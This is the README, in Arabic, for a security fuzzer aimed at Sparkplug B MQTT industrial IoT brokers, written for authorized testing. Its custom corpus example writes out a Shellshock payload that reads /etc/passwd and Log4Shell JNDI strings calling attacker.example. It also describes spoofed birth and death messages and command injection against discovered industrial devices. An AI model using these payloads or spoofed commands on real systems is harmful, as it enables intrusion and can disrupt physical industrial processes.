
Fuzzer لبروتوكول Sparkplug B الخاص بإنترنت الأشياء الصناعي
أداة تقييم أمان شاملة لاختبار تطبيقات بروتوكول MQTT الخاص بـ Sparkplug B. يختبر المُختبر بشكل منهجي جميع حقول البروتوكول عبر جميع أنواع الرسائل التسعة، ويكتشف الأجهزة النشطة على الشبكة، وينتج سجلات مفصّلة للتحليل.
ترسل هذه الأداة رسائل MQTT تالفة، وحقنًا، ومخالفة للبروتوكول إلى وسيط (Broker) مستهدف. قم بتشغيلها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. غالبًا ما تتواجد وسطاء Sparkplug B في بيئات OT/ICS حيث يمكن أن تؤدي الحمولات غير المتوقعة إلى تعطيل العمليات الفيزيائية — افترض أن كل هدف قريب من بيئة الإنتاج ما لم يُثبت خلاف ذلك.
إذا اكتشفت ثغرة أمنية في تطبيق Sparkplug B باستخدام هذه الأداة، فيُرجى اتباع الإفصاح المنسّق مع البائع المتأثر. للإبلاغ عن مشكلة أمنية في هذه الأداة نفسها، راجع SECURITY.md.
تحدد مواصفات Sparkplug B مساحة أسماء للموضوعات (Topic Namespace) وتنسيق حمولة مبني على MQTT وGoogle Protocol Buffers لبيئات إنترنت الأشياء الصناعي (IIoT). يقيّم هذا المُختبر أمان ومتانة تطبيقات Sparkplug B من خلال:
على أنظمة Debian/Ubuntu/Kali الحديثة (أنظمة PEP-668)، لا يمكن لـ --setup تنفيذ pip install داخل Python الخاص بالنظام — استخدم بيئة افتراضية أو pipx أولاً. المسار الموصى به:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
أو يمكنك التشغيل عبر `pipx run` إذا كنت تفضّل عدم إدارة البيئة الافتراضية (venv) بنفسك. على الأنظمة الأقدم التي لا تفرض PEP-668، يعمل الأمر `python3 sparkplug-fuzzer.py --setup` مباشرةً.
`--setup` سيقوم بما يلي:
1. تثبيت تبعيات pip (`paho-mqtt`، `protobuf`)
2. استنساخ علامة إصدار مثبّتة من مستودع [Eclipse Tahu](https://github.com/eclipse/tahu) (انظر `TAHU_REF` في السكربت)
3. نسخ الوحدات المساعدة `sparkplug_b.py` و`array_packer.py`
4. ترجمة `sparkplug_b.proto` إلى روابط Python (يستخدم `protoc` إذا كان متاحًا، وإلا يعتمد على `grpcio-tools`)
5. تنظيف نسخة Tahu المستنسخة
بعد الإعداد، يجب أن يحتوي دليلك على:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
سيقوم هذا بـ:
1. الاتصال بالوسيط على `localhost:1883`
2. الاستماع لمدة 10 ثوانٍ لاكتشاف أجهزة Sparkplug الموجودة
3. تأسيس أداة الفازينغ كعقدة/جهاز Sparkplug
4. تشغيل جميع فئات الفازينغ الـ12 (~635+ حالة اختبار)
5. استهداف أي أجهزة تم اكتشافها برسائل مزيفة
6. كتابة النتائج إلى `sparkplug_fuzz.jsonl`
## الاستخدام
### خيارات سطر الأوامر```
python3 sparkplug-fuzzer.py [OPTIONS]
تشغيل جميع الفئات مع المصادقة:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**مرر بيانات الاعتماد دون كشفها في `ps`:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
الاتصال عبر TLS:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**تقييم المصادقة السلبي + فحص الكتابة النشط:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
تشغيل الفئات المتعلقة بالحقن فقط:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**الاكتشاف الموسّع بوتيرة بطيئة (لتقليل حمل الوسيط):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
هوية مجموعة/عقدة مخصصة وملف السجل:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**راقب حركة مرور الوسيط في طرفية منفصلة:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
الإعداد المعزول عن الشبكة باستخدام مستودع Tahu مُستنسخ مسبقًا:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**تخطيط المخرجات لكل تشغيل:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
تغطي القائمة المدمجة STRING_FUZZ_VALUES فئات الحقن التقليدية (السلاسل الفارغة/الضخمة، بايتات الصفر، سلاسل التنسيق، XSS، SQLi، اجتياز المسار، تلوث النموذج الأولي). غالبًا ما تحتاج المهام الفعلية إلى حمولات من الدرجة الثانية تستهدف أي مستهلك لبيانات الوسيط في اتجاه المصب — أنظمة المؤرخ التي تُمرر أسماء المقاييس عبر shell، ومضيفات SCADA القائمة على Java والتي تُغذي القيم إلى log4j، ولوحات المعلومات التي تعرض أسماء العلامات في HTML، وما إلى ذلك.
يضيف الخيار --extra-string-payloads <FILE> مجموعة إضافية إلى القوائم المدمجة. التنسيق هو حمولة واحدة لكل سطر، بترميز UTF-8. الأسطر التي تحتوي على مسافات فقط تُحتفظ بها (وكثيرًا ما يكون ذلك مقصودًا في الاختبار العشوائي)؛ أما الأسطر الفارغة تمامًا فتُحذف. الخيار يضيف إلى القائمة المدمجة بدلًا من استبدالها، لتظل التغطية القائمة محفوظة.```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
تطبع أداة الفيزينغ `[+] Extra string payloads: loaded N from <path>` عند بدء التشغيل، وتُصدَر كل حمولة عبر كل موضع يتكرر فيه `STRING_FUZZ_VALUES` — بشكل أساسي فئة `string`، ولكن أيضًا حالات السلاسل النصية لمولّد عدم تطابق الأنواع.
حدود صارمة: حجم الملف 10 ميجابايت، و10,000 حمولة. عدّل `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` في أعلى السكربت إذا احتجت المزيد (ولديك ميزانية وقت تشغيل كافية لذلك).
## ملاحظات الإصدار v0.2
- علم `--output-dir` بالإضافة إلى الافتراضي الذي يُنشأ تلقائيًا `./sparkplug-runs/<UTC-ts>_<host>/` — كل عملية تشغيل تذهب إلى دليل خاص بها حتى لا تتصادم الملفات الناتجة بين عمليات التشغيل.
- علم `--tahu-path` لـ `--setup` — يشير إلى نسخة محلية من `eclipse/tahu` لبيئات الاختبار المعزولة عن الشبكة حيث يكون `git clone` الصادر محظورًا. لا يُحذف المصدر المحلي أبدًا عند التنظيف.
- الطوابع الزمنية في Console + JSONL مُجبَرة على UTC مع لاحقة `Z` صريحة بحيث يكون الربط المتبادل مع سجلات الوسيط خاليًا من العمليات الحسابية على المناطق الزمنية.
- مسجّل `paho.mqtt` مُخفَّض إلى WARNING افتراضيًا؛ يظهر عند INFO مع `-v`، وعند DEBUG مع `-vv`. لم تعد بيانات التتبع لكل حزمة من العميل تطغى على إشارة الفيزينغ.
- منصة اختبار pytest ضمن `tests/` — 23 اختبارًا تغطي FuzzLogger ومساعد المواضيع وتحليل مسار الإخراج والتحقق من `--tahu-path`. انظر [تشغيل الاختبارات](#running-the-tests).
## تشغيل الاختبارات
تغطي منصة الاختبار السطح المستقل عن الشبكة (صحة المسجّل، ومنشئ المواضيع، وتحليل مسار الإخراج، وتحليل `--tahu-path`) وتعمل دون تثبيت وسيط أو paho-mqtt أو protobuf.```bash
pip install -r requirements-dev.txt
pytest tests/
Expected: 23 passed. المسارات المعتمدة على الشبكة (PayloadBuilder protobuf، ناشرو الاختبارات العشوائية، دورة حياة MQTT) مؤجلة عمداً إلى طبقة اختبارات تكامل مستقبلية مع وسيط حاويات.
### اكتشاف الشبكة
خلال مرحلة الاكتشاف، يشترك المُختبر في `spBv1.0/#` ويستمع إلى كل حركة مرور Sparkplug. يقوم مكوّن `DeviceTracker` بتحليل الرسائل المرصودة لبناء خريطة شبكة حيّة:
- **NBIRTH** تكشف العقد الطرفية وتعريفات مقاييسها (الاسم، الاسم المستعار، نوع البيانات)
- **DBIRTH** تكشف الأجهزة ومخططات مقاييسها
- **NDEATH/DDEATH** تتبّع حالة دورة حياة العقد/الأجهزة
- **STATE** تكشف التطبيقات المضيفة وحالتها عبر الإنترنت/خارج الخط
تُستخدم هذه الخريطة في مرحلة الاختزال الموجّه لإرسال هجمات ذات صلة بالسياق ضد الأجهزة الحقيقية بمخططات مقاييسها الفعلية.
### تقييم المصادقة
عندما يتصل المُختبر بدون `-u/-P` (و`MQTT_USERNAME`/`MQTT_PASSWORD` غير مضبوطين)، فإنه يستنتج وضع المصادقة الخاص بالوسيط من الاكتشاف السلبي وحده. ينتج عن ذلك حدث `AUTH_ASSESSMENT` واحد في السجل وملخص مطبوع:
| الإشارة | ما تعنيه | كيف تُشتق |
|---|---|---|
| `anon_connect_accepted` | الوسيط قبل CONNECT بدون بيانات اعتماد | اتصال CONNECT الخاص بالمُختبر نجح |
| `anon_subscribe_accepted` | الوسيط يمرر `spBv1.0/#` / `STATE/#` للعملاء المجهولين | وصلت رسالة RX واحدة على الأقل خلال نافذة الاستماع |
| `anon_publish_accepted` | الوسيط يقبل PUBLISH من العملاء المجهولين | يُضبط فقط إذا مُرر `--probe-anon-write`؛ استطلاع QoS=1 + انتظار PUBACK |
| `unauth_endpoints` | العقد/الأجهزة/التطبيقات المضيفة قابلة للملاحظة بدون مصادقة | كل كيان في خريطة الشبكة المكتشفة (لم تُنتج مصادقة أبدًا) |
استطلاع QoS=1 اختياري لأنه ينتقل من السلبي إلى النشط. مع QoS=0 يُسقط الوسيط الرسائل التي قد يرفضها بصمت، لذا فإن تأكيد قبول الكتابة يتطلب قراءة PUBACK.
لا توجد مصادقة لكل نقطة نهاية في MQTT/Sparkplug — فالمصادقة مسألة على مستوى الوسيط. لذا فإن "نقاط النهاية القابلة للملاحظة بدون مصادقة" تُبلغ كقائمة من *الأهداف التي يمكن الوصول إليها بتكلفة صفرية* وليس كخاصية لنقاط النهاية نفسها.
### الاختزال الموجّه
بعد الاختزال المنهجي، تستهدف الأداة كل جهاز مكتشف من خلال:
1. **إشعارات وفاة مزيفة** — تنشر NDEATH/DDEATH لخداع المشتركين وجعلهم يظنون أن الأجهزة أصبحت غير متصلة
2. **شهادات ميلاد مزيفة** — تنشر NBIRTH/DBIRTH للانتحال بهوية العقد/الأجهزة المكتشفة
3. **حقن الأوامر** — ترسل رسائل NCMD/DCMD بقيم حدية لكل مقياس معروف، لاختبار ما إذا كان الهدف يتحقق من صحة الأوامر الواردة
4. **أوامر إعادة الميلاد** — ترسل `Node Control/Rebirth` NCMD لدفع الأجهزة إلى إعادة نشر مواليدها
## المخرجات وتحليل السجل
### تنسيق السجل
يستخدم ملف السجل تنسيق سطور JSON (`.jsonl`) — كائن JSON واحد لكل سطر، مناسب للتحليل باستخدام `jq` أو Python أو أي أداة تدعم JSON.
لا يتم تضمين الحمولات الأكبر من 64 KiB كنص سداسي عشري مباشر؛ بدلاً من ذلك يحمل `payload_hex` قيمة `sha256:<digest>+len=<n>` بحيث يظل السجل محدود الحجم لحالات الاختزال الكبيرة جدًا. `payload_len` موجود دائمًا.
**سجل TX** (رسالة اختزال صادرة):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
RX record (رسالة واردة من الشبكة):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**سجل الحدث** (حدث النظام):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
عد الحالات حسب الفئة:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**استخرج جميع حالات حقن السلاسل النصية:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
سرد جميع الأجهزة المكتشفة:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**ابحث عن الحالات التي سببت انقطاع اتصال الوسيط:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
اسحب تقييم المصادقة:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**سرد نقاط النهاية التي يمكن الوصول إليها دون مصادقة:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
احصل على عدد المعاملات (TX) بمرور الوقت (لتحليل المعدل):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**تصدير جميع المواضيع التي تم نشرها إلى:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
تحليل باستخدام بايثون:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## تغطية البروتوكول
### أنواع الرسائل
جميع أنواع رسائل Sparkplug B التسعة يتم اختبارها:
| نوع الرسالة | نمط الموضوع | الوصف | استخدام المُشوِّش |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | شهادة ميلاد العقدة | يُثبت وجود المُشوِّش؛ يُنتحل للعقد المكتشفة؛ اختبارات الترتيب |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | إشعار وفاة العقدة | وصية أخيرة عبر MQTT؛ يُنتحل للعقد المكتشفة؛ اختبارات الترتيب |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | شهادة ميلاد الجهاز | يُثبت جهاز المُشوِّش؛ يُنتحل للأجهزة المكتشفة؛ اختبارات الترتيب |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | إشعار وفاة الجهاز | يُنتحل للأجهزة المكتشفة؛ اختبارات الترتيب؛ اختبارات اليتامى |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | تحديث بيانات العقدة | قيم حدّية؛ أرقام تسلسلية؛ اختبارات الترتيب |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | تحديث بيانات الجهاز | الوسيلة الأساسية لمعظم فئات التشويش |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | أمر العقدة | تشويش موجّه (أوامر إعادة الميلاد)؛ اختبارات اليتامى |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | أمر الجهاز | تشويش موجّه ضد قياسات الأجهزة المكتشفة؛ اختبارات اليتامى |
| STATE | `STATE/{host_id}` | حالة تطبيق المضيف (JSON) | حقن JSON تالف |
### أنواع البيانات
جميع أنواع بيانات القياسات التسعة عشر في Sparkplug B تُختبر بقيم حدّية خاصة بكل نوع:
| الرمز | النوع | حقل Protobuf | القيم الحدّية المختبرة |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (تجاوز), -129 (تجاوز سفلي) |
| 2 | Int16 | int_value | 0, -32768, 32767, تجاوز/تجاوز سفلي |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, تجاوز/تجاوز سفلي |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, تجاوز |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False؛ يُختبر أيضًا بقيم int خام (0، 1، 2، 255) |
| 12 | String | string_value | فارغ، طويل (حتى 64 كيلوبايت)، حمولات حقن |
| 13 | DateTime | long_value | Epoch, max, مستقبل بعيد/ماضٍ بعيد |
| 14 | Text | string_value | نفس حمولات الحقن المستخدمة مع String |
| 15 | UUID | string_value | فارغ، صيغة صحيحة، صيغة غير صحيحة، حقن |
| 16 | DataSet | dataset_value | انتهاكات هيكلية عبر فئة مجموعة البيانات |
| 17 | Bytes | bytes_value | فارغ، بايتات فارغة، عشوائية، كبيرة |
| 18 | File | bytes_value | فارغ، بايتات سحرية، كبيرة |
| 19 | Template | template_value | مراجع غير معرّفة، قوالب يتيمة |
### تغطية الحقول
يغطي المُشوِّش 87+ مسار حقل فريد من نوعه في Protobuf، بما في ذلك:
- **حقول جذر الحمولة**: timestamp, seq, uuid, body, metrics
- **حقول القياس**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties، وجميع متغيرات oneof الخاصة بالقيمة
- **حقول البيانات الوصفية**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null، propertyset_value التكراري، propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements، وجميع متغيرات DataSetValue
- **Template**: version, template_ref, is_definition, القياسات المتداخلة، المعاملات
## البنية
المُشوِّش هو ملف Python واحد مُنظَّم في المكونات التالية:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
يُعد بناء الحمولة على مستويين قرارًا تصميميًا رئيسيًا:
PayloadBuilder.node_birth()، وما إلى ذلك) يستخدم دوال المساعدة sparkplug_b لبناء حمولات صالحة ومنسقة بشكل سليم. يُستخدم لتأسيس الحضور والانتحال الموجّه.PayloadBuilder.raw_payload()، corrupt_bytes()) يتلاعب مباشرةً بكائنات protobuf الخاصة بـ sparkplug_b_pb2 أو بالبايتات الخام، متجاوزًا التحقق من الصحة. يُستخدم للحمولات المشوّهة عمدًا التي تختبر معالجة أخطاء المحلّل والحالات الحدّية.هذا المشروع مرخّص بموجب رخصة MIT — راجع LICENSE للحصول على النص الكامل.
sparkplug-fuzzer.py --setup يجلب المكوّنات التالية من Eclipse Tahu وقت التثبيت وينسخها إلى دليل العمل:
sparkplug_b.py — وحدة مساعدة لـ Sparkplug Barray_packer.py — أداة مساعدة لتعبئة المصفوفاتsparkplug_b.proto — تعريف Protocol Buffer (يُستخدم لتوليد sparkplug_b_pb2.py)يتم توزيع Eclipse Tahu بموجب رخصة Apache، الإصدار 2.0. لا تتم إعادة توزيع أي من ملفات مصدر Tahu في هذا المستودع. راجع NOTICE للحصول على الإسناد الكامل.
| الخيار | الافتراضي | الوصف |
|---|
-H، --host | localhost | اسم مضيف وسيط MQTT أو عنوان IP |
-p، --port | 1883 (أو 8883 مع --tls) | منفذ وسيط MQTT |
-u، --username | لا شيء | اسم مستخدم MQTT (يقرأ أيضًا متغير البيئة MQTT_USERNAME) |
-P، --password | لا شيء | كلمة مرور MQTT (يقرأ أيضًا MQTT_PASSWORD؛ مرّر - للقراءة من stdin بدون صدى) |
--tls | off (مغلق) | الاتصال عبر TLS؛ يصبح المنفذ الافتراضي 8883 إذا لم يتم تعيين -p |
--cafile | لا شيء | حزمة CA للتحقق من شهادة خادم TLS |
--insecure | off (مغلق) | تجاوز التحقق من اسم مضيف/شهادة TLS (لأغراض الاختبار فقط) |
-g، --group | Sparkplug B Devices | معرّف مجموعة Sparkplug الذي يسجّل تحته المدعّم (fuzzer) |
-n، --node | FuzzNode | معرّف عقدة حافة Sparkplug للمدعّم |
-d، --device | FuzzDevice | معرّف جهاز Sparkplug للمدعّم |
-c، --categories | all | قائمة مفصولة بمسافات من فئات الدعم (fuzz categories) لتشغيلها |
--discovery-time | 10 | الثواني المستغرقة للاستماع السلبي لاكتشاف الشبكة |
--delay | 0.1 | التأخير بالثواني بين رسائل الدعم (fuzz messages) |
--probe-anon-write | off (مغلق) | أثناء الاكتشاف، إرسال رسالة نشر واحدة بـ QoS=1 للتأكد مما إذا كان الوسيط يقبل النشر غير المصادَق |
-l، --log | sparkplug_fuzz.jsonl | اسم ملف سجل الإخراج (المسارات النسبية تقع داخل --output-dir؛ المسارات المطلقة تُحترم كما هي) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | دليل الإخراج لكل تشغيل. يُنشأ في حال عدم وجوده. |
-v، --verbose | 0 | زيادة وضوح الإخراج على وحدة التحكم (-v = معلومات، -vv = تصحيح). مع -vv تُعرض أيضًا حالات تخطي مولّد الدعم (fuzz-generator skips)، ويتم رفع مستوى تسجيل paho.mqtt المُقيّد إلى INFO/DEBUG وفقًا لمستوى الوضوح. |
--setup | — | تثبيت جميع التبعيات والخروج |
--tahu-path | — | المسار إلى نسخة محلية من eclipse/tahu (أو دليل python/core الخاص بها). يُستخدم بواسطة --setup في البيئات المعزولة عن الشبكة بدلاً من git clone. |
--extra-string-payloads | — | مسار إلى ملف يحتوي حمولات إضافية لحقن النصوص (سطر واحد لكل حمولة، UTF-8). تُلحق بالقيم المدمجة STRING_FUZZ_VALUES ولا تحل محلها. الحد الأقصى 10 ميغابايت / 10,000 حمولة. انظر مجاميع النصوص المخصصة. |
| الفئة | الوصف | الحالات التقريبية |
|---|
boundary | الحدود الدنيا/القصوى/التجاوز لجميع أنواع البيانات الرقمية الـ 19، is_null مع القيم، تركيبات الأعلام | ~200 |
string | حمولات الحقن (XSS، SQLi، سلسلة التنسيق، عبور المسار، حقن الأوامر، البايتات الفارغة) عبر حقول String وText وUUID وMetaData ورسائل STATE | ~100 |
type_mismatch | نوع البيانات المُعلَن مقابل حقل قيمة protobuf الخاطئ، رموز أنواع غير صالحة، حقول oneof متعددة | ~150 |
sequence | فجوات التسلسل، التكرار، التراجع، الالتفاف، عدم تطابق bdSeq بين NBIRTH/NDEATH | ~20 |
timestamp | صفر، أقصى uint64، مستقبل/ماضٍ بعيد جدًا، عدم اتساق طابع زمني للقياس مقابل الحمولة، أقصى حدود DateTime | ~15 |
alias | أسماء مستعارة مكررة لقياسات مختلفة، قيم أسماء مستعارة متطرفة، أسماء مستعارة غير معرّفة في رسائل البيانات | ~15 |
orphan | بيانات/أوامر تستهدف أجهزة أو عُقدًا أو مجموعات غير موجودة؛ مراجع قوالب غير معرّفة | ~20 |
ordering | انتهاكات بروتوكول الحالة: بيانات قبل الميلاد، ولادات مزدوجة، بيانات بعد الموت، ترتيب ولادة خاطئ | ~15 |
recursive | سلاسل PropertySet متداخلة (عمق 1-100)، عدم تطابق أطوال المفتاح/القيمة، اختلافات PropertySetList | ~15 |
dataset | عدم تطابق عدد الأعمدة، عدم تطابق عناصر الصف، انتهاكات الأنواع، مجموعات بيانات فارغة/ضخمة، أحرف خاصة في أسماء الأعمدة | ~25 |
malformed | تلف ثنائي في protobuf: اقتطاع، قلب بتات، بايتات عشوائية، varints طويلة جدًا، فئات رسائل خاطئة | ~30 |
topic | اختلافات حالة الأحرف، إصدارات خاطئة، شرطات إضافية/مفقودة، أحرف خاصة، أحرف بدل في سلاسل الموضوعات | ~30 |